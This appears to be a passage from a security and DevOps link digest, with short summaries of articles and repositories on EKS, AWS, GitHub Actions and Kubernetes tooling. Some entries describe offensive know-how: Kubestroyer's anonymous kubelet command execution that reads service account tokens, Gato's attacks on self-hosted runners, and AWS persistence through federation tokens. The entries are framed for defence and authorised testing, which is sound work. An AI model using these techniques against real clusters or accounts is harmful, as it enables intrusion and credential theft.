    • AI (current site): “Bring your own model” plugins with Anthropic, Google, OpenAI and others via OpenRouter, plus a Client SDK for AI agents.
    • Community figures (site claim): 7,000+ active hackers, 58+ community plugins, 4,500+ Discord members.
    • Content changed: The homepage now emphasises AI and team features, unlike its 2023 “lightweight” positioning.

    Takeaway: Worth trialling as a faster, scriptable Burp alternative. Compare feature tiers on the pricing page before switching.

  • Security Drone: Scaling Continuous Security at Revolut
    summary

    (Could not fetch full text.)

    TL;DR: Revolut’s Application Security Team describes Security Drone, an internal tool built to keep security checks scalable in a fast-moving CI/CD environment.

    • Context: Every new feature is checked, using automated scans in CI/CD pipelines.
    • Scale: Nearly 39,000 commits from over 900 authors in July 2022.
    • Problem: Scanners produced many false positives that security staff had to review by hand.
    • Goal: Security Drone was built to keep a high security bar despite fast deployments.
    • Source caveat: Medium returned HTTP 403; based on an FF News summary (January 2023) found by search, which does not describe how the tool works.

    Takeaway: At high commit volume, the bottleneck is triaging scanner output, so invest in automating that, not only in adding more scanners.

  • AWS Service Control Policies
    summary

    (Could not fetch full text.)

    TL;DR: A post in the Cloud Security publication on Medium about AWS Service Control Policies (SCPs), the AWS Organizations guardrails that cap what accounts can do.

    • What SCPs are: Organization-level policies that set the maximum permissions for users, roles and root users in member accounts; they do not grant permissions.
    • Scope: Applied to the organization root, OUs or accounts.
    • Risk: Overly strict denials can disrupt development work.
    • Source caveat: Medium returned HTTP 403 and no copy was found; these bullets are based on the title and general SCP guides found by search, not on the article itself.

    Takeaway: Read the original if you can reach it. In general, use SCPs for a few broad deny guardrails and test them on a sandbox OU first.

  • security-response-automation: Take Automated Actions Against Threats and Vulnerabilities in Google Cloud
    summary

    TL;DR: Security Response Automation, from Google Cloud Platform, runs automated remediation of Security Command Center findings with Cloud Functions. The repository is archived and no longer maintained.

    • Pipeline: Findings from SCC (or legacy Cloud Logging) go to Pub/Sub, then a Filter function, then a YAML-configured Router, then remediation functions.
    • False positives: The Filter can apply Rego (Open Policy Agent) policies to mark expected findings as false positives and set them INACTIVE.
    • Automations: CloseBucket, CloseCloudSQL, ClosePublicDataset, CloudSQLRequireSSL, DisableDashboard, EnableAuditLogs, EnableBucketOnlyPolicy, IAMRevoke, OpenFirewall, RemovePublicIP, SnapshotDisk, UpdatePassword.
    • Controls: Least-privilege service account, per-project enforcement, all actions logged to Cloud Logging, and a monitor-only mode.
    • Notifications: Can notify PagerDuty, Slack or email.

    Takeaway: Use it as a reference design for SCC auto-remediation, not as a dependency, since it is archived.

  • containerdbg: All-in-One CLI to Debug Kubernetes Containers with Common Issues
    summary

    TL;DR: containerdbg, from Google, is a CLI and DaemonSet that finds common problems when legacy applications are moved into Kubernetes containers. It is archived (snapshot of May 13, 2025).

    • Missing files: Tracks failed file opens to find files left out of the image, with special handling for *.so, *.py and *.rb.
    • EXDEV moves: Detects move or rename failures caused by overlay filesystem copy-and-delete on base-image files.
    • Network: Logs failed connections and failed DNS queries for services missing from the deployment.
    • Static IPs: Warns about connections not preceded by a DNS lookup, which suggest hard-coded IPs.
    • Install: Pre-built v0.0.9 binaries for Linux and macOS on amd64 and arm64.

    Takeaway: The checks are a good checklist for lift-and-shift containerization. Do not rely on the tool itself, as it is archived.

  • security-guard: Runtime Security Plug to Protect User Containers
    summary

    TL;DR: Security-Guard is a Knative project that protects microservices and serverless containers by detecting and blocking exploits sent to services, and by detecting and restarting compromised pods.

    • Repo move: The URL now redirects to knative-extensions/security-guard.
    • guard-gate: Usually a sidecar in front of each service that monitors and can block requests and responses.
    • Guardian: A per-service CRD or ConfigMap of micro-rules for fine-grained filtering of each value sent to or from the service.
    • Learning: guard-service auto-learns micro-rules; guard-ui helps configure them by hand.
    • Indicators: Alerts on out-of-pattern requests and responses, unusually long service times, and the list of external IPs a pod contacts.
    • Platforms: Integrated into Knative and also usable on plain Kubernetes.

    Takeaway: An interesting learned-behaviour approach to runtime protection for HTTP services. Evaluate maturity and overhead before production use.

  • Slack bot which promotes Defense in Depth/Zero Trust security practicesAA
  • imaginAIry: Pythonic Generation of Stable Diffusion Images
    summary

    TL;DR: imaginAIry is an MIT-licensed Python library and CLI by Bryce Drennan for generating Stable Diffusion images, and now also videos, with a “just works” install on Linux and macOS (M1).

    • Install and run: pip install imaginairy, then imagine "a scenic landscape" "a photo of a dog"; on macOS install Rust first.
    • Python: README says use Python 3.10; 3.11 was not supported at the time of writing.
    • Video: aimg videogen --start-image rocket.png uses Stable Video Diffusion models (svd, svd_xt and decoders); Nvidia GPUs only, not Mac or CPU.
    • Video options: --num-frames, --fps, --motion-amount (0 to 255), --seed and others.
    • Platform caveat: Windows works “sometimes” and needs torch 2.0 installed first.
    • Content changed: The README now leads with video generation, added after the 2023 link date.

    Takeaway: A simple way to script local image generation from Python or the shell. Check the current model support and Python version before installing.

  • 10 Things I Hate About Go
    summary

    TL;DR: A video from the Boldly Go channel in which a Go fan lists ten things about the language he dislikes.

    • Error handling: Go’s error handling (0:00 intro, 1:12).
    • Stdlib design: Exported variables in the standard library, and http.Handler not returning an error.
    • Language quirks: No pointers to literals, loop variable semantics, naked returns, relative imports.
    • Tooling: gofmt’s format and comment directives.
    • Terminology and style: Array vs slice terminology, and pure functions.
    • Reference: Links Dave Cheney’s post on constant errors.
    • Source caveat: Based on the video description and chapter list, not a transcript.

    Takeaway: A useful list of Go gotchas for people new to the language. Check each point against the current Go release, as some may have changed since 2023.

  • Enhancing Kubernetes Security with User Namespaces
    summary

    TL;DR: Wiz Research examines Linux user namespaces (alpha in Kubernetes v1.25), how they limit container escapes, where they add risk, and which workloads can use them.

    • UID remapping: Each pod gets 64K host UIDs, so UID 0 in the container maps to a non-zero host UID (e.g. 65536); an escaped root process cannot read /etc, /dev, root’s home or the kubelet kubeconfig.
    • Examples: Would have broken the Azurescape exploit chain; lets workloads needing SYS_ADMIN (gcsfuse mounts) or NET_ADMIN (OpenVPN) avoid host-level privilege.
    • Other benefits: Better separation between pods on a node and separate UID-bound limits, such as filesystem notifications shared by many UID 1000 pods.
    • Risk: Userns grants namespaced CAP_SYS_ADMIN, opening kernel code paths such as CVE-2022-0185; block unshare(CLONE_NEWUSER) with seccomp (default seccomp profile went beta in 1.25).
    • Compatibility data: In environments Wiz studied, over 30% of pods use host-shared namespaces, 44% mount problematic volumes, 24.4% are privileged and 1.8% allow privilege escalation.
    • Testing: Done on GKE alpha clusters, the only managed option at the time.

    Takeaway: User namespaces are a strong mitigation for container escape where workloads are compatible. Pair them with a seccomp profile and use the post’s decision tree to pick candidates.

  • A Guide to Running Sigstore Locally
    summary

    TL;DR: A Sigstore blog guide by Felix Wolff and Andrew Block (January 24, 2023) to running a private Sigstore deployment on Kubernetes (minikube) for organisations that cannot use the public instance.

    • Why private: The public Rekor transparency log is permanent and public; for example, GitHub OIDC provenance baked into certificates is visible to anyone.
    • Monitoring: The authors stress that a private log without monitoring delivers no value.
    • Deployment: Components installed via the Sigstore project’s Helm charts, using the scaffold chart.
    • Clients: cosign, or a Kyverno policy controller that checks Rekor before admitting an image.
    • Tool versions used: minikube 1.28.0, helm 3.10.0, kubectl 1.25.2, cosign 1.13.1, ko 0.12.0, Go 1.19.1 on macOS Intel.

    Takeaway: Consider a private Sigstore when signing internal artifacts would leak repo or workflow names. Budget for operating and monitoring it.

  • Provisioning Kubernetes Clusters on GCP with Terraform and GKE
    summary

    TL;DR: A Learnk8s tutorial by Kristijan Mitevski (January 2023), part 3 of 4 in a series, on creating GKE clusters with the gcloud CLI and with Terraform, ending with automated dev, staging and prod clusters.

    • Site move: The URL now redirects to learnkube.com.
    • GKE basics: Google manages API servers, etcd, control-plane scaling, upgrades and certificate rotation for USD 0.10 per hour per cluster.
    • Ingress: The GKE Ingress controller is enabled by default; load balancers add extra charges.
    • Approaches compared: Web console (discouraged as not repeatable), gcloud, and Terraform, with pros and cons.
    • Outcome: Terraform modules build three environments with GKE Ingress “in a single click”; also covers a Hello World deployment and kubeconfig tricks.

    Takeaway: A clear step-by-step path from first GKE cluster to module-based multi-environment Terraform. Check provider and GKE versions against current docs.

  • dynamodb-shell: ddbsh, a Simple CLI for DynamoDB Modeled on isql and the MySQL CLIs
    summary

    TL;DR: ddbsh, from AWS Labs, is a command-line shell for DynamoDB modelled on isql and the MySQL CLI, accepting SQL-like DDL and DML commands.

    • Interface: Interactive prompt where SQL-like commands run against DynamoDB and results print in the same window.
    • Warning: Provided as-is, not supported for production; drops and deletes are irreversible, and scans or queries consume capacity and can cost a lot.
    • Safety advice: Restrict APIs with DynamoDB fine-grained access control and try DynamoDB Local first.
    • Rewrite in progress: Being reimplemented as a C++23 library (libddbsh) plus thin CLI, version 0.9.19 at fetch time; global tables are the remaining unsupported family.
    • Build: Needs a C++23 compiler, CMake 3.21 or newer, flex, bison, readline, zlib and the AWS SDK for C++.

    Takeaway: Handy for exploring tables with familiar SQL-style syntax in development. Keep it away from production credentials.

  • Accessing Cloud SQL Using Private Service Connect
    summary

    TL;DR: Google Cloud blog post (January 24, 2023) describing a workaround to reach Cloud SQL through Private Service Connect (PSC) across VPCs and projects, now marked deprecated for Cloud SQL.

    • Deprecation note: Since April 18, 2024, Cloud SQL supports PSC natively (GA), and this approach is deprecated for Cloud SQL.
    • Problem: Consumers in other VPCs or projects cannot rely on VPC peering because Cloud SQL does not support transitive peering, and peering needs IP range planning.
    • Design: The database team exposes the database via a service attachment; app teams use PSC endpoints in their own VPC (e.g. 172.168.32.2:3306); many-to-many consumers and producers are possible.
    • Wider use: The workaround also applies to other PSA-dependent services without native PSC, such as Memorystore and AlloyDB.

    Takeaway: For Cloud SQL, use native PSC now. The pattern may still help for managed services that only support Private Service Access.

  • Recommendations to Mitigate OWASP API Security Top 10 Threats Using Azure API Management
    summary

    TL;DR: Microsoft Learn article giving Azure API Management recommendations for each OWASP API Security Top 10 risk, now updated to the 2023 list.

    • Scope: Applies to all API Management tiers.
    • Complementary services: Defender for APIs, Azure API Center, Front Door, Application Gateway and WAF, DDoS Protection, Monitor and Log Analytics, Key Vault and Microsoft Entra.
    • Example risk: Broken object level authorization, where weak or iterable object identifiers allow data leaks or manipulation.
    • Structure: One section per OWASP API risk with matching API Management controls.
    • Content changed: Updated from the 2019 list to the OWASP API Security Top 10 2023.

    Takeaway: Use it as a checklist when hardening APIs behind Azure API Management. Remember that object-level authorization must still be enforced in the backend.

  • automated-security-helper: ASH, the Automated Security Helper
    summary

    TL;DR: ASH (Automated Security Helper) is an AWS tool that runs several open-source scanners over code, infrastructure-as-code and IAM configuration early in development.

    • Repo move: The URL now redirects to awslabs/automated-security-helper.
    • Scanners: Bundles open-source tools such as Bandit, Checkov and Semgrep, isolated via UV.
    • ASH v3: Rewritten in Python; runs in local, container or precommit mode; YAML or JSON config with CLI overrides.
    • Reports: SARIF, JSON, HTML, Markdown and CSV; pluggable scanners and reporters.
    • AI integration (newer): An MCP server and plugins for AI coding agents.
    • Positioning: Not a replacement for human review or security standards.

    Takeaway: A quick way to run a curated set of free scanners locally or in CI with one command. Tune findings before gating builds on them.

  • capital: Built-to-Be-Vulnerable API Application Based on the OWASP Top 10 API Vulnerabilities
    summary

    TL;DR: c{api}tal, by the Checkmarx research team, is an intentionally vulnerable blogging API with 10 challenges mapped to the OWASP API Security Top 10, for training and CTFs.

    • Stack: FastAPI backend and React frontend, with a Medium-style blogging UI.
    • Run: docker-compose up -d; backend on http://localhost:8000/, frontend on http://localhost:4100/, API docs at /docs.
    • Tooling: OpenAPI 3 spec importable as a Postman collection; use Postman or Burp against /api.
    • Auth: JWT token authentication with adjustable lifetime.
    • License: AGPL v3; educational purpose.

    Takeaway: Good hands-on practice for API testing skills or an internal CTF. Run it only in an isolated environment.

  • caretta: Instant K8s Service Dependency Map, Right to Your Grafana
    summary

    TL;DR: Caretta, from groundcover, is an Apache 2.0 tool that builds a live service dependency map of a Kubernetes cluster using eBPF and shows it in Grafana.

    • How it works: An eBPF agent maps all service network interactions; Grafana queries and visualizes the data, with no cluster changes needed.
    • Install: helm repo add groundcover https://helm.groundcover.com/ then helm install caretta --namespace caretta --create-namespace groundcover/caretta.
    • Config values: tolerations so the agent runs on all nodes, victoria-metrics-single.server.persistentVolume.enabled for persistent metrics (default false), and pollIntervalSeconds.
    • Footprint: Described as lightweight and standalone; install in its own namespace.
    • Background: groundcover’s blog post explains how it is built.

    Takeaway: A quick way to see who talks to whom in a cluster, useful for drafting network policies or onboarding to an unknown system.

  • How Adversaries Can Persist with AWS User Federation
    summary

    TL;DR: CrowdStrike Services (Vaishnav Murthy and Joel Eng, January 30, 2023) describe attackers using sts:GetFederationToken to create federated sessions that survive deactivation of the compromised IAM user’s access keys.

    • Technique: With valid IAM user keys and STS and IAM permissions, the attacker calls sts:GetFederationToken; the federated session inherits the user’s permissions.
    • Why containment fails: Temporary STS credentials are independent of the long-term keys, so deactivating keys does not revoke the session; it lasts until the token expires.
    • What works: Attach an explicit deny-all IAM policy to the compromised user, since reducing that user’s policies also reduces the session’s rights.
    • Deleting the user: It revokes privileges, but CrowdStrike does not recommend it, for reasons given in the post.
    • Root keys: If a root API key is compromised, containment is much harder and may not be possible; AWS discourages root access keys.
    • Escalation: Attackers can use the technique to persist and escalate if the base user had escalation privileges.

    Takeaway: Add “attach deny-all policy” to your AWS incident runbooks, not just key deactivation. Alert on GetFederationToken calls.

  • CloudGPT: Use ChatGPT to Analyze AWS Policies for Vulnerabilities
    summary

    TL;DR: CloudGPT is a short Python gist by ustayready (January 16, 2023) that pulls IAM role policies with boto3 and asks OpenAI whether each has security vulnerabilities.

    • Collection: Paginates list_roles and list_attached_role_policies, then fetches the default version via get_policy and get_policy_version.
    • Analysis: Sends each policy to OpenAI text-davinci-003 with the prompt “Does this AWS policy have any security vulnerabilities” (temperature 0.5, 500 max tokens).
    • Output: Prints role name, policy ARN, the policy document and the model’s answer.
    • Setup: requirements.txt with boto3 and openai; API key hard-coded in the script.
    • Limits: Only managed policies attached to roles; the text-davinci-003 model and old openai.Completion API it calls are dated. A commenter asks how it compares to IAM Access Analyzer.

    Takeaway: A proof of concept, not a scanner. Use IAM Access Analyzer or policy linters for real checks, and consider what policy data you send to a third-party API.

  • gato: GitHub Self-Hosted Runner Enumeration and Attack Tool
    summary

    TL;DR: Gato (GitHub Attack TOolkit), from Praetorian, enumerates and attacks GitHub Actions pipeline weaknesses, especially self-hosted runners. The repo is archived and superseded by Praetorian’s Trajan.

    • Status: Deprecated; no further updates or security patches. Trajan combines Gato (GitHub Actions) and Glato (GitLab) in one maintained tool.
    • Enumeration: Workflow file and run-log analysis to find repos with vulnerable self-hosted runner setups at scale.
    • Post-exploitation: Uses a compromised personal access token to explore an organization’s public and private repos.
    • Poisoned pipelines: Identifies poisoned pipeline execution vulnerabilities.
    • Artifacts scanner (v1.7): Downloads and extracts workflow artifacts and scans them for secrets with NoseyParker.
    • Requirements: Python 3.7+; NoseyParker on $PATH for the artifact scanner.

    Takeaway: Run Trajan, or Gato’s ideas, against your own org to find exposed self-hosted runners and leaky artifacts. Keep self-hosted runners off public repos.

  • production-readiness-checklist: Gorrion Production Readiness Checklist
    summary

    TL;DR: A production readiness checklist from software house Gorrion, as a table of items with severity level, scope and a linked doc for each.

    • Security: Meet OWASP ASVS level 1, at least a “B” grade on securityheaders.com, JWT secret only on the server, CORS limited to client domains, no stack traces in client errors.
    • TLS and domains: Frontend and backend on the client’s domain with TLS, HTTP redirected to HTTPS, apex redirected to www.
    • Operations: Error, uptime and logging systems, backups, auto-scaling, production-grade hosting for app and database.
    • Process: Deploy via CI, run tests and audits in CI/CD, quick hotfix path, one source of truth for cron jobs, versioning and changelog.
    • Governance: Share passwords only via a password manager, and keep a written risk management and disaster recovery plan.

    Takeaway: A compact go-live checklist for web apps that you can copy and adapt into a release template.

  • envless: Open-Source, Frictionless and Secure Way to Share and Manage App Secrets Across Teams
    summary

    TL;DR: Envless was an open-source tool for sharing and managing application secrets across teams. The repo is archived and the maintainers recommend Dotenv instead.

    • Status: Archived; README says it is not actively maintained and may be picked up again later.
    • Purpose: Store and share API keys, passwords and certificates among authorized team members.
    • Claims: Encryption and access control so only authorized members can read secrets.
    • Targets: Containers, serverless functions and traditional servers, with support for many languages.

    Takeaway: Do not adopt it for new work. Look at maintained secret managers instead.

  • Kubestroyer: Exploit Kubernetes Cluster Misconfigurations, the Swiss Army Knife of Kubernetes Pentests
    summary

    TL;DR: Kubestroyer is an MIT-licensed Go tool by Rolix44 that scans for exposed Kubernetes ports and exploits common misconfigurations, for use in pentests.

    • Install: Pre-built binaries, go install github.com/Rolix44/Kubestroyer@latest, or build from source (Go 1.19).
    • Targets: -t accepts IPs, domains or a file, e.g. -t localhost,127.0.0.1.
    • Scanning: Known Kubernetes ports with descriptions; --node-scan covers NodePorts 30000 to 32767.
    • Kubelet RCE: --anon-rce uses anonymous kubelet API auth; -x sets the command (defaults to printing the service account token).
    • etcd: --etcd reads objects when anonymous etcd access is enabled.

    Takeaway: Use it to check that kubelet anonymous auth and etcd are not exposed. Only run it against clusters you are authorised to test.

  • exploitation-course: Offensive Security & Reverse Engineering (OSRE) Course
    summary

    TL;DR: GitHub user ashemery’s free Offensive Security and Reverse Engineering (OSRE) course, originally taught at Champlain College in Spring 2020/21, with labs and YouTube recordings.

    • Materials: Slides largely shared via the HTID course on OpenSecurityTraining; labs written by the author.
    • Vulnerable software: From Exploit-DB and Stephen Bradshaw’s VulnServer.
    • Tools: Immunity Debugger, Kali Linux, CFF Explorer, PE-bear, Ghidra, IDA Free, x64dbg, Sysinternals, FLARE capa, NetCat.
    • Target VM: A Windows 10 VM from Microsoft (version 1809 build 17763.1339).
    • Scope note: Not all modules were covered due to time; the full course is under course/2021.

    Takeaway: A free, structured route into Windows exploitation and reverse engineering with hands-on labs.

  • computer-science: Path to a Free Self-Taught Education in Computer Science!
    summary

    TL;DR: Open Source Society University’s free, self-taught computer science curriculum built from online courses, often from Harvard, Princeton and MIT.

    • Course criteria: Open for enrollment, run regularly (ideally self-paced), high quality, and aligned with the CS 2013 curriculum guidelines; a book fills gaps.
    • Structure: Intro CS, Core CS (roughly the first three years of a degree), Advanced CS electives, and a peer-reviewed Final Project.
    • Duration: About 2 years at roughly 20 hours per week; a spreadsheet helps estimate an end date.
    • Scope: Undergraduate CS major requirements, minus general education.
    • Extras: High-quality material outside the core goes in extras/courses and extras/readings.

    Takeaway: A good reference to fill gaps in CS fundamentals, even if you only take selected courses.

  • Go: Profile-Guided Optimization Preview
    summary

    TL;DR: Go blog post by Michael Pratt (February 8, 2023) introducing profile-guided optimization (PGO) as a preview in Go 1.20.

    • Idea: Feed a CPU profile from production to the compiler so it can optimise hot functions more aggressively; Go 1.20 uses it for inlining.
    • Usage: go build -pgo=<profile> or -pgo=auto to use default.pgo in the main package; commit default.pgo to the repo.
    • Default: In 1.20 the default is -pgo=off; the post expects a future version to default to auto.
    • Example: A Markdown-to-HTML service profiled via net/http/pprof; benchstat shows 393.8µs vs 383.6µs per op, about 2.6% faster.
    • Typical gain: 2% to 4% CPU improvement in Go 1.20 workloads.
    • Caveat: Described as having rough edges that may prevent production use at the time.

    Takeaway: PGO is a cheap win: collect a representative profile, commit it as default.pgo and rebuild. Re-collect profiles as code changes.

  • New: Visualize Your VPC Resources from Amazon VPC Creation Experience
    summary

    TL;DR: AWS News Blog announcement of the Amazon VPC resource map, which shows an existing VPC’s resources and routing as a diagram in the console.

    • Where: VPC console, select a VPC, then the Resource map tab.
    • Shows: Subnets, which subnets use the public route table, which route tables route to a NAT gateway, and links to each resource.
    • Interaction: Hovering highlights related resources and connections; clicking shows details.
    • Background: Extends the March 2022 VPC creation experience, which removed more than 90 percent of manual steps but only showed the diagram during creation.

    Takeaway: Use the resource map for a quick sanity check of routing and subnet layout when reviewing or troubleshooting a VPC.

  • GitHub Actions: Updating the Default GITHUB_TOKEN Permissions to Read-Only
    summary

    TL;DR: GitHub changelog (February 2, 2023): the default GITHUB_TOKEN permission for GitHub Actions changes from read/write to read-only for new enterprises, organizations and repositories.

    • Reason: Read/write by default was too permissive.
    • Existing setups: Not affected; existing enterprises, orgs and repos keep their current setting.
    • New defaults: New enterprises, non-enterprise orgs and personal-account repos get read-only; new orgs and repos inherit from their parent enterprise or org.
    • Override: You can still switch to read/write.

    Takeaway: Check older orgs and repos, which keep read/write, and set the default to read-only. Grant extra scopes per workflow with permissions:.

  • Kubernetes Hands-On Introduction (2023): Amazon EKS Workshop
    summary

    TL;DR: A “Containers from the Couch” livestream in which Justin Garrison and Sai Vennam walk through the redesigned Amazon EKS Workshop hands-on.

    • Workshop: eksworkshop.com, with source at github.com/aws-samples/eks-workshop-v2.
    • Setup: Creating the workshop environment with Terraform (9:00).
    • Managed node groups: Adding nodes, then affinities and anti-affinities (18:17, 29:20).
    • Fargate: Running pods on Fargate (45:35).
    • Networking: Exposing applications with the AWS Load Balancer Controller (59:20).
    • Storage: Amazon EBS and EFS (1:16:52).
    • Source caveat: Based on the video description and chapter list, not a transcript.

    Takeaway: A guided video companion to the EKS Workshop, useful if you prefer following along to reading the labs.

  • How to Rapidly Scale Your Application with ALB on EKS (Without Losing Traffic)
    summary

    TL;DR: AWS Containers Blog post showing how to remove 50x errors during scale-down of an app behind an ALB on EKS, by combining a health endpoint, readiness probe and PreStop hook.

    • Test setup: A Django logistics app with the AWS Load Balancer Controller and Cluster Autoscaler; at peak 623 simulation pods on 30 t4g.xlarge nodes.
    • Health endpoint: A separate /logistics/health set via alb.ingress.kubernetes.io/healthcheck-path, with healthcheck-interval-seconds: '3' and success-codes: '200-301'.
    • Readiness probe: Same path, periodSeconds: 3.
    • PreStop hook: Makes the health endpoint fail and then sleep 120, so the ALB removes the target before the container gets SIGTERM.
    • Results: 504 errors during scale-down went from an average of 340 to zero; 502 errors from 200 to 30, and those 30 were seen by kubelet, not end users.
    • Code: Full deployment artifacts in an aws-samples repository.

    Takeaway: For any ALB-fronted EKS service, align ALB health checks with readiness and add a PreStop delay so pods drain before termination.

  • Amazon Detective Adds Amazon VPC Flow Logs Visualizations for Amazon EKS Workloads
    summary

    TL;DR: AWS announcement (January 23, 2023) that Amazon Detective now visualizes VPC Flow Logs for Amazon EKS workloads, aggregated by pod.

    • Questions answered: Which ports and services EKS workloads used, whether there were large data transfers, and which IPs connected.
    • Data source: Detective collects VPC flow logs automatically; previously flow log views covered only EC2 instances.
    • Requirement: Enable EKS audit logs as a data source in the Detective behavior graph.
    • Cost: First 30 days of EKS audit logs as a data source are free for existing accounts; new accounts get it in the 30-day trial, with an estimated post-trial cost shown in the console.
    • Where: Network visualizations appear in the profile panel for EKS pods; available in all Detective Regions, including GovCloud (US).

    Takeaway: If you use Detective, enable the EKS data source to speed up investigations of suspicious pod network activity. Check the cost estimate after the trial.

  • Introducing the Amazon EKS Workshop
    summary

    TL;DR: AWS announces the fully redesigned Amazon EKS Workshop, replacing the old one (now at archive.eksworkshop.com).

    • Modules: Networking, Security, Cost Optimization, DevOps Automation and more, each split into standalone labs (e.g. Karpenter in Cost Optimization).
    • Tenets: Modular, one consistent sample app (AWS Containers Retail Sample), EKS-focused, and continuously tested.
    • Infrastructure: Prerequisites deployed with Terraform (v1.3.x at launch), chosen because many EKS customers already use it.
    • Audience: Users with a basic understanding of containers and Kubernetes; the “Learn Kubernetes and EKS” playlist on Containers from the Couch is the suggested primer.
    • Requirements: An AWS account with administrative permissions.

    Takeaway: A good structured way to learn EKS features hands-on. Run it in a sandbox account and tear it down afterwards.

  • Optimizing Your Kubernetes Compute Costs with Karpenter Consolidation
    summary

    TL;DR: AWS Containers Blog post demonstrating Karpenter’s workload consolidation, which repacks pods onto fewer, cheaper nodes to cut compute cost.

    • Change: Earlier Karpenter only removed nodes with no non-DaemonSet pods; consolidation also removes or downsizes underutilized nodes.
    • Enable: consolidation: enabled: true in the karpenter.sh/v1alpha5 Provisioner; it is mutually exclusive with ttlSecondsAfterEmpty.
    • Requirement: Set CPU and memory requests on pods so consolidation works well; scheduling constraints such as topology spread are honoured.
    • Demo: 20 replicas at 1 CPU each led to 3 Spot nodes (2 x t3.2xlarge, 1 x c6a.2xlarge) across eu-west-1a/b/c; scaling to 10 replicas removed one node.
    • Tools: EKS Blueprints for Terraform for setup, eks-node-viewer for live cost, and kubecost suggested for production cost monitoring.

    Takeaway: Turn on consolidation with accurate requests for easy savings. The post uses the alpha v1alpha5 Provisioner API, so check current Karpenter docs for the syntax.

  • Scale from 100 to 10,000 Pods on Amazon EKS
    summary

    TL;DR: OLX Autos engineers (with AWS) describe scaling the single EKS cluster behind their internal developer platform ORION from 100 to over 10,000 pods, running 100+ non-prod environments on 100% Spot instances.

    • DNS ndots: With EKS’s default ndots of 5, a lookup for amazon.com produced 7 DNS questions; CoreDNS crashed under load.
    • Fix: Appending a trailing dot (amazon.com.) in endpoint environment variables cut questions from 7 to 2 with 0 NXDOMAIN, over 70% fewer CoreDNS queries; NodeLocal DNSCache improved it further.
    • CPU limits: Limits caused throttling that worsened DNS latency, so they rolled CPU limits back to defaults.
    • IP starvation: VPC CNI defaults reserved 58 IPs per c5.9xlarge node, exhausting the VPC; tuning MINIMUM_IP_TARGET, WARM_IP_TARGET and WARM_ENI_TARGET helped.
    • Trade-off: WARM_IP_TARGET=1 fixed starvation but caused IP allocation races and pod start delays when many pods were scheduled at once.
    • Debug: kubectl exec <aws-node-pod> -c aws-node -- curl localhost:61679/v1/enis shows assigned and available IPs.

    Takeaway: At high pod density, check ndots and DNS caching, CPU limits and VPC CNI warm-IP settings first. Read the full post for the final CNI settings they chose.

  • On Amazon EKS and Security
    summary

    TL;DR: Dirk Michel (January 2023) surveys how AWS-native security services help protect Amazon EKS clusters and their surrounding AWS resources.

    • Grouping: Identity and access management, data protection, logging and detective services, infrastructure security, and incident response.
    • Identity: IAM authenticates to the EKS API and Kubernetes RBAC authorizes; workforce users federated via IAM Identity Center (e.g. AD with ADFS via AD Connector and SAML2); workloads use IRSA; IAM roles map to RBAC through aws-auth.
    • Data at rest: KMS customer-managed keys for EBS, EFS, RDS and Backup Vaults, with key policy conditions like viaService.
    • Secrets: EKS can envelope-encrypt Kubernetes Secrets in etcd with a KMS key if set at cluster creation; otherwise they are only base64-encoded. Secrets Manager plus the Secrets Store CSI Driver for external secrets.
    • In transit: ACM certificates on ALB and NLB provisioned through the AWS Load Balancer Controller.
    • Source caveat: Medium blocked direct fetch; read from an archive.org copy, partially.

    Takeaway: A useful map of which AWS service covers which EKS security concern. Use it to spot gaps such as missing Secrets envelope encryption.

  • EKS Security Best Practices: Practical Enforcement Guide
    summary

    TL;DR: A Datree guide that turns the AWS EKS Best Practices Guide for Security into 14 policy rules and shows how to check and enforce them with Datree’s admission webhook.

    • Site status: The datree.io URL no longer responds; read from an archive.org copy.
    • Rules: Include read-only root filesystem, no privilege escalation, no service account token auto-mounting, limited capabilities, equal memory request and limit, replicas on different nodes, read-only hostPath mounts, and SELinux and Windows privilege limits.
    • Install: helm install -n datree datree-webhook datree-webhook/datree-admission-webhook --set datree.policy=EKS with a Datree token, in monitor mode first.
    • Posture score: Example dashboard shows 48% of resources failing 6 rules.
    • Remediation example: Fix privilege escalation by setting allowPrivilegeEscalation: false in the securityContext.
    • Enforcement: Then switch to blocking misconfigured resources at admission.

    Takeaway: The rule list is a handy checklist. Since Datree appears to be gone, implement the same rules in Kyverno, Gatekeeper or Pod Security Admission.

  • werf CI/CD Tool Becomes a CNCF Project!
    summary

    TL;DR: Dmitry Shurupov announces (February 2023) that werf, the CI/CD CLI originally created at Flant, has become a CNCF Sandbox project.

    • What werf does: CLI for delivery to Kubernetes that assumes Git, builds images with Buildah, embeds and extends Helm, and works with any CI, with built-in GitLab CI/CD and GitHub Actions integrations.
    • Practices: Advanced build caching, “Giterminism” (Git as single source of truth for reproducibility), content-based tagging, better Helm resource tracking, and cleanup of unused images.
    • History: Open source since its start seven years earlier; began as a Docker image build tool at Flant.
    • CNCF effect: CNCF owns the project with open governance; the same core maintainers continue.
    • Audience: Teams replacing DIY build-and-deploy scripts, and beginners wanting a ready path to Kubernetes delivery.
    • Source caveat: Medium-hosted blog blocked direct fetch; read from an archive.org copy.

    Takeaway: Consider werf if you want an opinionated Helm-based pipeline with reproducible builds and image cleanup built in.

  • The Efficient Way to Publish Multi-Arch Containers from GitHub Actions
    summary

    TL;DR: Alex Ellis (February 1, 2023) explains how to build and publish multi-arch (Intel and Arm) container images from GitHub Actions with buildx, using the inlets-operator as the example.

    • Site move: Now served from actuated.com.
    • Manifests: A multi-arch image is a manifest list with one entry per platform; inspect it with crane manifest.
    • Dockerfile changes: FROM --platform=${BUILDPLATFORM:-linux/amd64}, plus ARG TARGETOS TARGETARCH, and GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build so Go cross-compiles instead of emulating.
    • Workflow: docker/setup-qemu-action@v2, docker/setup-buildx-action@v2, then docker/build-push-action@v4 with platforms: linux/amd64,linux/arm/v6,linux/arm64.
    • Registry auth: Push to GHCR with GITHUB_TOKEN, which needs permissions: packages: write.
    • Without Actions: The same can be done with docker buildx create --use and the Docker CLI.

    Takeaway: Cross-compile in the builder stage rather than relying on QEMU for the whole build; it is much faster for Go and similar languages.

  • Manage Multi-Cloud Resources with Crossplane: Rise Above the Clouds
    summary

    (Could not fetch full text.)

    TL;DR: An Upbound video, “Manage Multi-Cloud Resources With Crossplane - Rise Above The Clouds”, on using Crossplane and Upbound to manage resources across multiple clouds.

    • Channel: Upbound, the company behind Crossplane.
    • Question posed: How to manage resources spread across multiple clouds, and “rise above clouds” with Crossplane and Upbound.
    • Tools named: Crossplane and Upbound’s offering are the two products covered, per the title and description.
    • Source caveat: Only the one-line video description was available; no transcript or chapters, so specifics of the demo are unknown.

